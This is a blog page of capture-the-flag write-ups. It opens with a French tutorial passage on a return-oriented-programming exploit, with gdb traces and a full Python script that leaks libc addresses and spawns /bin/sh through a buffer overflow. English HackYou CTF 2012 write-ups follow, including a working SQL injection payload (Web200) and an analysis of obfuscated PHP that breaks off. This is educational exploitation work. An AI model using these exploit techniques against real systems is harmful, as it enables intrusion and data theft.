Comme je l'expliquais précédemment, ne pouvant pas exécuter notre shellcode à cause du NX, nous allons donc réutiliser des morceaux de code déjà présent dans le programme, chainés de manière spécifique pour exécuter des actions de notre choix. On appelle cela des gadgets, il existe plusieurs outils sur le net pour chercher ces gadgets. Vous en trouverez un très bien ici qui gère autant le x64 que des programmes x32 et pour vos programmes exclusivement x32 vous avez également celui ci.

Notre but va donc être, comme nous l'avons vu précédemment, de récupérer une adresse de la libc pour connaitre celle d'execve. Pour récupérer une adresse de la libc nous allons utiliser la fonction puts qui va écrire sur stdout la valeur pointée par l'adresse passée en argument de la fonction (man du puts).

A savoir : Sur une architecture x64 les arguments d'une fonction ne sont plus passés au travers de la stack mais au travers des registres. Dans l'ordre : RDI, RSI, RDX, RCX, R8, R9 puis ensuite sur la stack.

Notre but va donc être de passer l'adresse de la GOT d'une fonction de la libc dans RDI et d'executer la fonction puts.

Pour cela on va parcourir les gadgets à notre disposition au travers de l'outil rp++ et chercher ce qui pourrait nous intéresser. Le but étant de trouver un gadget nous permettant d'aller définir une valeur dans le registre RDI en sachant que nous contrôlons notre stack donc le registre RSP.

root@kali:~/Challenges/_Outils# ./rp-lin-x86 -f /root/Challenges/BKP2013/fss -r 3
Trying to open '/root/Challenges/BKP2013/fss'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
Using the Nasm syntax..
 
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
 
in LOAD
163 found.
 
A total of 163 gadgets found.
0x004018bf: add bl, dh ; ret  ;  (1 found)
0x0040143b: add byte [rax+0x29], cl ; retn 0x8948 ;  (1 found)
...
0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)
...

Dans l'ensemble des gagdets trouvé j'en repère un qui me parait intéressant :

0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)

Nous utilisons ici un gadget qui va manipuler le registre edi qui est la partie 32 bits du registre rdi, dans notre cas cela suffit car les adresses que l'on souhaite tiennent sur 32 bits (ex : 0x602210) mais si nous avions des adresses en 64 bits il faudrait trouver un gadget avec le registre rdi.

A savoir : Avec rp++ vous pouvez jouer sur la valeur de r pour avoir des gadgets avec plus ou moins d'instructions. Mais attention plus vous aurez d'instruction plus l'utilisation du gadget pourra devenir complexe.

Notre stack devra donc ressembler à cela : [addr_writable_srbp][gagdet][ JUNK][addr_base_got_libc][addr_call_puts]

Ce que j'appelle JUNK ici peut être n'importe quelle donnée, cela permet de combler l'instruction add rsp, 0x38 de notre gadget.

Pour vérifier tout cela, on va suivre le programme dans gdb. Pour cela on lance le programme qui va s’arrêter après la connexion au socket via le raw_input, ce qui va nous permettre de récuperer l'id du processus et de s'y attacher. On va placer un breakpoint en 0x40171c qui est l'adresse de l'instruction ret de pirep et vérifier ce que nous avons sur notre stack.

root@kali:~# ps aux | grep fss
root      4461  0.0  0.0   3944   312 ?        Ss   22:01   0:00 fss
root      4463  0.0  0.0   7780   860 pts/1    S+   22:01   0:00 grep fss
root@kali:~# exit
exit
gdb$ attach 4461
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFE00  RBX: 0x00007FAD4B2AC6C0  RBP: 0x0000000000000002  RSP: 0x00007FFF62DC42C8  o d I t s Z a P c
  RDI: 0x0000000000000000  RSI: 0x00007FAD4B4CD000  RDX: 0x0000000000001000  RCX: 0xFFFFFFFFFFFFFFFF  RIP: 0x00007FAD4AFF6A90
  R8 : 0x00000000FFFFFFFF  R9 : 0x0000000000000000  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x000000000000000A
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x00007FFF62DC4390
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fad4aff6a90 <read+16>:    cmp    rax,0xfffffffffffff001
   0x7fad4aff6a96 <read+22>:    jae    0x7fad4aff6ac9 <read+73>
   0x7fad4aff6a98 <read+24>:    ret
   0x7fad4aff6a99 <read+25>:    sub    rsp,0x8
   0x7fad4aff6a9d <read+29>:    call   0x7fad4b00f500
   0x7fad4aff6aa2 <read+34>:    mov    QWORD PTR [rsp],rax
   0x7fad4aff6aa6 <read+38>:    mov    eax,0x0
   0x7fad4aff6aab <read+43>:    syscall
-----------------------------------------------------------------------------------------------------------------------------
0x00007fad4aff6a90 in read () from /lib/x86_64-linux-gnu/libc.so.6
gdb$ b * 0x40171c
Breakpoint 1 at 0x40171c
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x00000000006022C4  RSP: 0x00007FFF62DC4378  o d I t s Z a P c
  RDI: 0x00000000FFFFFFFF  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FAD4AFF6AF0  RIP: 0x000000000040171C
  R8 : 0x00007FAD4B4AF700  R9 : 0x00000000FFFFFFFF  R10: 0x0000000000000000  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFF62DC4480  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0x000000000040171c in pirep ()
gdb$ x/50g $rsp
0x7fff62dc4378: 0x00000000004018b0      0x4242424242424242
0x7fff62dc4388: 0x4242424242424242      0x4242424242424242
0x7fff62dc4398: 0x4242424242424242      0x4242424242424242
0x7fff62dc43a8: 0x4242424242424242      0x0000000000602240
0x7fff62dc43b8: 0x000000000040174a      0x0000000049494949

on retrouve donc sur notre stack :

  • 0x4018b0 adresse de notre gadget
  • 0x424242.....424242 junk
  • 0x602240 adresse de la GOT dont on souhaite récupérer la valeur
  • 0x40174a <main+45>: call 0x400740 <puts@plt>

Voici donc le déroulement de notre programme après le ret :

0x4018b0 <__libc_csu_init+128>:      mov    edi,DWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>:      add    rsp,0x38
0x4018b8 <__libc_csu_init+136>:      ret
0x40174a <main+45>:  call   0x400740 <puts@plt>  avec RDI = 0x602240

Nous récupérons alors l'adresse de base de notre libc. Plus qu'à y ajouter l'offset calculé précédemment pour obtenir l'adresse d'execve.

Nous n'avons plus qu'à répéter l'opération pour exécuter execve en spécifiant en paramètre ce que l'on souhaite exécuter, pour notre exemple on va lancer un shell. Pour l'adresse pointant vers la chaine de caractères, plusieurs possibilités, vérifier si une chaine de ce type n'est pas déjà présente dans le programme. Dans ce cas là plus qu'à récupérer l'adresse, attention à ce que cette adresse soit dans une section non soumise à l'ASLR. Dans notre cas, nous allons rentrer la chaîne que l'on souhaite de toute pièce au travers du programme en utilisant le choix 1 qui va stocker son buffer en .bss

Pour être plus précis concernant la deuxième exploitation, nous allons appeler la fonction execve a qui on doit passer 3 arguments (man execve) mais en fait dans mon exploitation je n'en passe qu'un qui est la chaine du programme que je souhaite appelé (/bin/sh) car mes deux autres registres sont déjà à 0x0. Pour faire propre et plus fiable, il aurait fallut trouver les gadgets nécessaires pour définir les registres RSI et RDX correspondants aux deux autres arguments de la fonction execve.

5ème étape - L'exploitation finale

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
# Plusieurs possibilités pour debug :
# socat TCP4-LISTEN:4444,reuseaddr,fork 'SYSTEM:./fss'
# Configuration xinetd :
# - ajout du service dans /etc/xinetd/fss
# - ajout du port correspondant au service dans /etc/services
 
import sys
import socket
from struct import pack
import time
import re
import struct
 
def p(a):
    return pack('<Q', a)
 
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("192.168.1.13",5555 ))
raw_input("Si besoin de debug...")
 
# ------ Etape 1 : Placer dans notre code /bin/sh ------
# Choix : 1) File a flight plan
# Type of Flight (IFR or VFR): /bin/sh
# Aircraft ID: Nimp
# Departure Airport: Nimp
# Destination Airport: Nimp
# Remarks: Nimp
# Flight Plan successfully filed
 
print "[*] Mise en place /bin/sh"
fs.send('1\n')
retour = fs.recv(4096)
fs.send('/bin/sh'+'\x00'+'\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
retour = fs.recv(4096)
 
# ------ Etape 2 : Leak des adresses de la libc au travers du buffer overflow ------
# gdb$ x/x puts
# 0x7f6dc6643060 <puts>:  0x6c8948e8245c8948
# gdb$ x/x execve
# 0x7f6dc6684f80 <execve>:        0x48050f0000003bb8
# 0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)
 
fs.send('5\n')
retour = fs.recv(4096)
got_libc_puts=0x602210
offset_decallage=0x7f6dc6684f80-0x7f6dc6643060
call_puts=0x40174a
gadget=0x4018b0
 
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(got_libc_puts) + p(call_puts)+p(0x49494949)+"\n")
 
retour = fs.recv(4096)
retour = fs.recv(4096)
ref_libc=struct.unpack('<Q', retour[0:6]+'\x00\x00')
print "[*] Adresse libc puts :"+hex(ref_libc[0])
addr_execve=ref_libc[0]+offset_decallage
print "[*] Adresse execve :"+ hex(addr_execve)
 
# ------ Etape 3 : execve au travers du buffer overflow ------
 
addr_str_binsh=0x6022c4
fs.send('5\n')
retour = fs.recv(4096)
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(addr_str_binsh) + p(addr_execve)+ p(0x41414141) +"\n")
fs.send("cat /root/Challenges/BKP2013/flag\n")
retour = fs.recv(4096)
retour = fs.recv(4096)
print retour

Voila en espérant que j'ai été le plus clair possible, n’hésitez pas à laisser des commentaires si vous souhaitez que je complète certains éléments.

Merci à acez pour ce challenge, awe et Frizn pour leur relecture et djo et over pour leur super tools.

Thursday, October 18 2012 16:05

HackYou CTF - PPC100, PPC200, PPC300 Writeups

PPC100 - Antihuman Captcha



To solve this task we have to submit the sum of two huge numbers, fast enough to be considered as a robot.
Python can handle these natively, so it's straight-forward.

hugecaptcha

#!/usr/bin/env python2
 
import urllib
import re
 
URL = "http://misteryou.ru/ppc100/"
 
page = urllib.urlopen(URL).read()
 
regex = "HugeCaptcha</h2>(?:\s+)(\d+)(?:\s+)\+(?:\s+)(\d+)<br>(?:.*)name='trueanswer' value='([^']+)' />"
m = re.search(regex, page, re.S)
 
int_1, int_2, trueanswer = m.groups()
answer = int(int_1) + int(int_2)
 
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'hugecaptcha',
    'trueanswer': trueanswer
})
 
page = urllib.urlopen(URL, params).read()
 
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
 
regex = "Secret is:<br> ([^\n]+)"
m = re.search(regex, page)
 
passwd = m.group(1).split("<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)


Flag: killallhumans

PPC200 - Oscaderp Forensic



Download the archive PPC200.

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
* The password that's being used is 1,048,576 characters long.
* According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
* Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
* We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.


Not much of a choice, we must bruteforce remaining characters.
A dumb basic bruteforce will be quite long because of the password's length. Hence I hash the provided part first (1,048,568 bytes), store it in a "ref" variable, and then bruteforce the 8 remaining bytes, using a copy of the ref md5 object to keep it intact.
Python is usually not a good choice for bruteforce, but i was lazy and it's only a 8 digits bruteforce, which takes less than 3 minutes with code below.

#!/usr/bin/env python2
 
import itertools
import hashlib
import string
import re
 
ref = hashlib.md5()
 
lines = open("keylogger_report_08_10_2012.txt", "r").readlines()
out = open("password", "w")
 
regex = re.compile("^Keys: (\d+)")
 
for line in lines:
    m = regex.match(line)
 
    if m:
        ref.update(m.group(1))
        out.write(m.group(1))
 
out.close()
 
charset = string.digits
 
for password in itertools.product(charset, repeat=8):
    passwd = ''.join(password)
    h = ref.copy()
    h.update(passwd)
 
    if h.hexdigest() == "287d3298b652c159e654b61121a858e0":
        print "password is", passwd
        print "solve with", hashlib.sha1(open('password', 'r').read() + passwd).hexdigest()
 
print '[DONE]'


Flag: 947c83329e6cf2d9b747af59edf7974752afd741

PPC300 - Quantum Computing Captcha



Same concept than PPC100, but here we have to submit a prime number factor of a huge number.

refactor

I used the awesome pari-python module to extract the divisors, and gocr (I often have bad results with that one, but it did the job here...).

#!/usr/bin/env python
 
import urllib
import re
import subprocess
import pari
 
URL = "http://misteryou.ru/ppc300/"
 
page = urllib.urlopen(URL).read()
 
regex = "<img src='/ppc300/([^']+)'><br>(?:.*)name='trueanswer' value='([^']+)' />"
m = re.search(regex, page, re.S)
img_name, trueanswer = m.groups()
 
img = urllib.urlopen(URL + m.group(1)).read()
 
open("captcha.png", "w").write(img)
 
captcha = subprocess.Popen(['gocr -i captcha.png'], shell=True, stdout=subprocess.PIPE).communicate()[0]
captcha = captcha.split("\n")[0]
captcha = int(captcha[captcha.find('_e') + 2:].replace(" ", ""))
 
divisors = pari.divisors(captcha)
 
answer = divisors[1]
 
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'refactor',
    'trueanswer': trueanswer
})
 
page = urllib.urlopen(URL, params).read()
 
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
 
regex = "Secret is:<br> ([^\n]+)"
m = re.search(regex, page)
 
passwd = m.group(1).split("<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)


Flag: kill_1_human

HackYou CTF - Stego100, Stego200, Stego300 Writeups

Stego 100 - Perfect Concealment



Download file stg100.txt.
Notice there are weird uppercase letters in some words. Let's just extract these.

>>> ''.join(__import__('re').findall('\w\w*([A-Z])\w*', open("stg100.txt", "r").read()))
'FLAGISSEXYSTEGOPANDAS'

Flag: sexystegopandas

Stego 200 - Halloween



stg200.png Download file stg200.png

If we change the background color we can clearly see something like this:

..    . .. .  . .. ...  ... .   . ..... ..    . ..  ..  ...  . 
....... ....... ....... ....... ....... ....... ....... .......

..    . .. .  . ..  .   . ..... .. .... ..  ..  . ..... .. ... 
....... ....... ....... ....... ....... ....... ....... .......

.. .... . ..... ..  ... .. .    .. .... ...  .. ... .   ...  ..
....... ....... ....... ....... ....... ....... ....... .......

That's binary, let's extract the password from it:

>>> s="""1100001 1101001 1101110 1110100 1011111 1100001 1100110 1110010
... 1100001 1101001 1100100 1011111 1101111 1100110 1011111 1101110
... 1101111 1011111 1100111 1101000 1101111 1110011 1110100 1110011"""
>>> ''.join(chr(int(i, 2)) for i in s.replace("\n"," ").split(' '))
'aint_afraid_of_no_ghosts'

Flag: aint_afraid_of_no_ghosts

Stego 300 - Go Through the Tunnel



stg300.png Download file stg300.png
The text in the middle of the picture is a lure. THAT'S SO FUNNY.
Let's steganalyse this file more seriously, with StegSolve from Caesum (useful tool, although it's java).
stegsolve_lsb.png
Flag: 4E34B38257200616FB75CD869B8C3CF0

HackYou CTF - Crypto100, Crypto200, Crypto300 Writeups

Crypto100 - Schneier's Algorithm



cry100.jpg

Download file cry100.jpg
This is a code that Bruce Schneier likes to insert as an autograph.
Read from the last column to the first to discover the flag.

Flag: hackyouisthebestestctfftw

Crypto200 - XOROWbIu WbI(|)P



Download file cry200.txt.enc
The title suggests it's XOR, so let's launch a XOR analysis, here with Cryptool:
cryptool_xor.png
We are not done yet, but that's quite a good start!
We can assume the first word is "Congratulations", and deduce the final XOR key from it and the corresponding bytes in the ciphertext:

awe@awe-laptop ~ % hexdump -C cry200.txt.enc|head -n  1
00000000  d5 cb 44 a4 e4 12 e2 d1  46 a2 e2 1a f9 ca 59 e2  |..D.....F.....Y.|
awe@awe-laptop ~ % echo "Congratulations"|hexdump -C|head -n 1
00000000  43 6f 6e 67 72 61 74 75  6c 61 74 69 6f 6e 73 0a  |Congratulations.|
>>> s1 = "d5 cb 44 a4 e4 12 e2 d1  46 a2 e2 1a f9 ca 59 e2".replace(' ','').decode("hex")
>>> s2 = "43 6f 6e 67 72 61 74 75  6c 61 74 69 6f 6e 73 0a".replace(' ','').decode("hex")
>>> ' '.join('%02x' % (ord(s1[i]) ^ ord(s2[i])) for i in range(len(s1)))
'96 a4 2a c3 96 73 96 a4 2a c3 96 73 96 a4 2a e8'

96 a4 2a c3 96 73 is repeated, that's our XOR key.

Now let's decrypt the whole file:

#!/usr/bin/env python2
 
txt = open("cry200.txt.enc", "rb").read()
key = "96 a4 2a c3 96 73".replace(" ", "").decode("hex")
 
def my_xor(cipher, key):
    keylen = len(key)
    res = ""
 
    for pos, c in enumerate(cipher):
        res += chr(ord(c) ^ ord(key[pos % keylen]))
 
    return res
 
print my_xor(txt, key)

Congratulations! While the quick brown fox jumps over the lazy dog, the plain xor cipher is still very unsecure when the key is much shorter than the message. Your flag: Foxie Dogzie Crypto Pwnd

Flag: Foxie Dogzie Crypto Pwnd

Crypto300 - Hardcore



Download file cry300.py.

Here is what the algorithm does:

  • - Init sbox (SALTED_BOX) with range(128).
  • - add_key(SALTED_SBOX, KEY)
  • - every time it receives something from a user, it splits user input into two equal size blocks (k and m), and calls encrypt(SALTED_BOX, k, m)
  • - return hex-encoded result of the encrypt call to the user

If you are too lazy to open the file, here is add_key function:

def add_key(sbox, k):
    for i, c in enumerate(k):
        sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
        for i in xrange(len(sbox)):
            sbox[i] = (sbox[i] + 1) % 128
    return

Notice this is all reversible as long as we have an idea of the inital sbox, which is the case here, we know it was range(128).
Now we must submit an even sized string, let's study the encrypt() function:

def encrypt(sbox, k, m):
    sbox = sbox[::]
    add_key(sbox, k)
 
    c = ""
    for ch in m:
        c += chr(sbox[ord(ch)])
        sbox = combine(sbox, sbox)
    return c

The sbox is copied (sbox = sbox[::]) so that every time you will encrypt something, sbox will remain in the same state as above, salted with our challenge flag.
What about if we submit a string of 2 characters? 'k' will contain the first one, 'm' the last. So in the for loop, we will bypass the combine() call.
Simply perform 127 queries to extract the result of add_key(sbox, k). It is then trivial to reverse it and obtain sbox (SALTED_BOX).
It is indeed possible to optimize this process and to save queries by detecting a constant increment in dumped sbox characters, but I prefered the easy dirty way ;)
We only need to revert add_key(range(128), KEY), now that we have its output.
A quick bruteforce does it well, for each possible key length.
Once again, the optimization could save this but ... :D

Here is my code:

#!/usr/bin/env python2
 
import socket
import string
 
#HOST = 'localhost'
HOST = '93.191.13.142'
PORT = 7777
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((HOST, PORT))
 
res = [-1]
 
for i in xrange(1, 128):
    txt = '1' + chr(i)
    s.sendall(txt)
    data = s.recv(1024)
    res += [ord(data.rstrip().decode("hex"))]
 
s.close()
 
for i in xrange(0, 128):
    if i not in res:
        res[0] = i
        break
 
res[0], res[ord('1')] = res[ord('1')], res[0]
 
res = map(lambda x: (x - 1) % 128, res)
 
print res
 
ref = res[:]
 
for bf in xrange(1, 128):
    pwd = ""
    dump = True
    res = ref[:]
 
    for pos in reversed(xrange(0, bf)):
        res = map(lambda x: (x - 1) % 128, res)
 
        for i, c in enumerate(res):
            if c == 2 * pos:
                break
 
        res[pos], res[i] = res[i], res[pos]
 
        if not chr(i) in string.printable:
            dump = False
            break
 
        pwd = chr(i) + pwd
 
    if dump:
        print "-" * 80
        print pwd

And its output:

% ./sploit_cry300.py
[86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31,
89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72,
73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95,
96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113,
114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4,
35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
--------------------------------------------------------------------------------
jj	
--------------------------------------------------------------------------------
m	
--------------------------------------------------------------------------------
<is`th1s`k3y`l0n9`en0ugh?>
--------------------------------------------------------------------------------
1sek3yhl >9`en0ugh?> !"#$% !"#$%
--------------------------------------------------------------------------------
snk3y?l"!9`en0ugh?>!"#$%&'!"#$%&'
--------------------------------------------------------------------------------
0k3y>l$#9`en0ugh?>"#$%&'()"#$%&'()
--------------------------------------------------------------------------------
k3y#l&%9`en0ugh?>#$%&'()*+#$%&'()*+
--------------------------------------------------------------------------------
3y%l('9`en0ugh?>$%&'()*+,-$%&'()*+,-
--------------------------------------------------------------------------------
y'l*)9`en0ugh?>%&'()*+,-./%&'()*+,-./

Flag: <is`th1s`k3y`l0n9`en0ugh?>

HackYou CTF - Web100, Web200, Web300 Writeups

Web 100 - Pentagon Authentication


This is a javascript challenge containing several conditions for the password to be correct.
Let's summarize these conditions:

# secretPassPhrase = "Climbing is dangerous"
# QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor."
#
# length == 12
# pwd[0] in string.digits
# pwd[10] in string.digits
# pwd[1] in string.digits
# pwd[6] in string.digits
# pwd[2] in string.digits
# int(pwd[0]) + int(pwd[1]) + int(pwd[2]) + int(pwd[6]) + int(pwd[10]) == 12
# pwd[7] == 'd'
# pwd[7] == pwd[8] - 1
# pwd[2] == pwd[6]
# pwd[6] == pwd[1]
# int(pwd[1]) * int(pwd[10]) == 0
# int(pwd[1]) - int(pwd[10]) == 1
# pwd[11] + pwd[3] + pwd[4] == secretPassphrase[int(pwd[0]) / 2, 3)]
# pwd[9] in string.ascii_lowercase
# pwd[9] not in QuoteOfTheDay

We quicky find the valid password: 911in?1dej0b
We only miss character #5, but it's easy to guess it: 911in51dej0b.
Anyway it is not used by javascript checks.
web100_win.png

Flag: n0-evidence-0n1y-this-8030

Web 200 - Global Meteo


Ctrl-u:

<!-- Not ashamed to show you the source: http://misteryou.ru/web200/index.php.txt -->

Download challenge files here.
Quick glance at the code and we find this:

$fieldArray = $_POST['fields'];
    foreach ($fieldArray as &$field) {
      $field = mysql_real_escape_string($field);
      if (is_numeric($field)) {
        if (strstr($field, "."))
          $field = (float)$field;
        else
          $field = (int)$field;
      } elseif (strtolower($field) == "true") {
        $field = true;
      } elseif (strtolower($field) == "false") {
        $field = false;
      } else {
        $field = NULL;
      }
    }
    unset($field);
    $storedFields = serialize($fieldArray);
    mysql_query("INSERT INTO storage (location, data) VALUES (\"$location\", \"$storedFields\")");

$_POST['fields'] is serialized, but values are filtered first. Anyway, it is an array, we can still modify its keys.
A string key will introduce a quote in the serialized string:

print serialize(array('fu' => true, 42 => 1337)) . "\n";
# output: a:2:{s:2:"fu";b:1;i:42;i:1337;}

We now have an SQL injection within an INSERT statement, which we can use to insert other rows, containing result from subrequests.

#!/usr/bin/env python2
 
import urllib
 
URL = "http://misteryou.ru/web200/index.php"
URL_ADD = "http://misteryou.ru/web200/index.php?mode=add"
 
sql_injection = '), ((SELECT flag FROM secret LIMIT 1), '
 
params = urllib.urlencode({
    'location': "osef suce.",
    'fields[%s]' % sql_injection: "false"
})
 
print urllib.urlopen(URL_ADD, params).read()
print "-" * 80
print urllib.urlopen(URL).read()

Flag: Serialize()_ALL_the_fields!!11

Web 300 - RNG of Ultimate Security



UnsecurePRNG.png
Ctrl-u:

    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->

Download file index.php.txt.

Step 1 - Unobfuscate

The code is obfuscated, so let's try to unobfuscate it before delving into the vulnerability.
Every string is obfuscated, and is unobfuscated by calling b() function.

Of course function and variable names are obfuscated as well, using ${b(obfuscated_string)} syntax.
As a reminder, ${$string} is a variable variable (same than $$string).

Now the question is: what is b() doing ?
Obviously we don't need the answer, we can retrieve strings simply by performing something like:

print b("f975de3ba2") . "\n";

But that's lame, so we'll try to understand the operations performed within b(). First things first, here is what is b():

00000000  66 75 6e 63 74 69 6f 6e  20 62 28 24 62 29 7b 72  |function b($b){r|
00000010  65 74 75 72 6e 20 65 76  61 6c 28 c3 9c c3 a7 c2  |eturn eval(.....|
00000020  91 c2 88 c2 a9 c2 b2 c3  93 c3 92 c2 9c c3 84 c2  |................|
00000030  a0 c2 ac c2 9e c3 b3 c2  b6 c3 a9 c2 b2 c3 ae c2  |................|
00000040  8c c2 96 c2 89 c2 85 c3  ba c2 a0 c3 ad c2 a9 c2  |................|
00000050  a6 c3 8e c2 b2 c2 90 c2  8c c3 97 c2 aa c2 b1 c2  |................|
00000060  a7 c3 a8 c3 b9 c3 a4 c2  bc c2 a6 c2 a1 c2 ae c2  |................|
00000070  81 c3 93 c3 b0 c2 bf c2  bf c3 a0 c2 9a c3 92 c2  |................|
00000080  a0 c3 9a c2 8a c3 90 c2  be c3 9f c3 81 c3 9c c2  |................|
00000090  95 c3 af c3 8d c2 b5 c3  be c3 ab c2 99 c3 84 c2  |................|
000000a0  96 c3 be c2 b6 c2 b1 c2  9d c2 a4 c2 b3 c2 8c c3  |................|
000000b0  80 c3 a5 c3 b2 c3 88 c3  a0 c3 99 c3 ae c2 af c2  |................|
000000c0  8a c2 a1 c2 89 c2 bf c2  b8 c2 96 c2 a6 c3 b5 c3  |................|
000000d0  b0 c3 b6 c3 8c c2 bc c2  8a c2 89 c3 9f c2 ba c2  |................|
000000e0  91 c3 ac c3 98 c3 9a c3  a5 c3 a0 c3 87 c3 90 c2  |................|
000000f0  81 c2 8f c3 91 c2 91 c3  8a c3 9b c2 89 c3 a2 c3  |................|
00000100  a4 c2 a0 c3 be c2 8a c3  a9 c3 81 c3 94 c3 9b c2  |................|
00000110  92 c3 88 c3 95 c3 83 c2  91 c2 a0 c3 8f c2 84 c2  |................|
00000120  8f c2 aa c3 bc c3 a4 c2  b1 c2 b5 c3 91 c3 9b c3  |................|
00000130  8f c3 89 5e c2 ae c2 82  c3 a5 c3 bd c3 9b c3 9c  |...^............|
00000140  c3 b3 c2 a1 c3 a8 c2 b6  c3 bf c3 9e c3 bb c2 83  |................|
00000150  c3 93 c2 88 c3 86 c3 86  c3 a1 c3 b2 c2 bc c2 ad  |................|
00000160  c2 89 c3 95 c2 8f c3 9a  c3 92 c2 bc c2 9a c2 b4  |................|
00000170  c3 ae c3 bb c2 9a c2 9d  c2 9f c3 81 c3 95 c2 90  |................|
00000180  c3 8e c3 93 c3 84 c2 87  c2 ad c2 b0 c2 95 c3 96  |................|
00000190  c3 93 c3 88 c2 b2 c2 a1  c3 94 c2 a8 c3 a6 c2 b5  |................|
000001a0  c3 90 c3 b7 c3 a5 c2 be  c2 bc c3 82 c3 b5 c2 9c  |................|
000001b0  c3 91 c3 9a c2 af c3 ad  c2 bf c2 a0 c3 86 c3 90  |................|
000001c0  c3 be c3 8f c2 9b c2 ae  c2 9c c2 9d c3 86 c3 b0  |................|
000001d0  c2 bc c2 a1 c3 9c c3 8e  c2 a8 c2 8d c3 ba c3 8a  |................|
000001e0  c3 9a c3 a5 c3 92 c2 87  c3 98 c3 92 c2 ae c2 90  |................|
000001f0  c2 b2 c2 a0 c3 b6 c2 81  29 3b 7d 0a              |........);}.|
000001fc

It's not a simple strrev(base64(blabla)), but rather eval()'d PHP bytecode.
To dump opcodes and see what's going on, I use Vulcan Logic Dumper.
Launch it with:

php -dvld.active=1 -dvld.verbosity=1 index.php

Output:

filename:       /home/awe/Downloads/index.php(4) : eval()'d code
function name:  (null)
number of ops:  25
compiled vars:  !0 = $b
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   1     0  >   SEND_VAR                                                 !0
         1      SEND_VAL                                                 0
         2      SEND_VAL                                                 8
         3      DO_FCALL                                      3  $0      'substr'
         4      SEND_VAR_NO_REF                               6          $0
         5      SEND_VAL                                                 true
         6      DO_FCALL                                      2  $1      'md5'
         7      SEND_VAR_NO_REF                               6          $1
         8      SEND_VAR                                                 !0
         9      DO_FCALL                                      1  $2      'strlen'
        10      SUB                                              ~3      $2, 8
        11      DIV                                              ~4      ~3, 16
        12      SEND_VAL                                                 ~4
        13      DO_FCALL                                      1  $5      'ceil'
        14      SEND_VAR_NO_REF                               6          $5
        15      DO_FCALL                                      2  $6      'str_repeat'
        16      SEND_VAL                                                 'H%2A'
        17      SEND_VAR                                                 !0
        18      SEND_VAL                                                 8
        19      DO_FCALL                                      2  $7      'substr'
        20      SEND_VAR_NO_REF                               6          $7
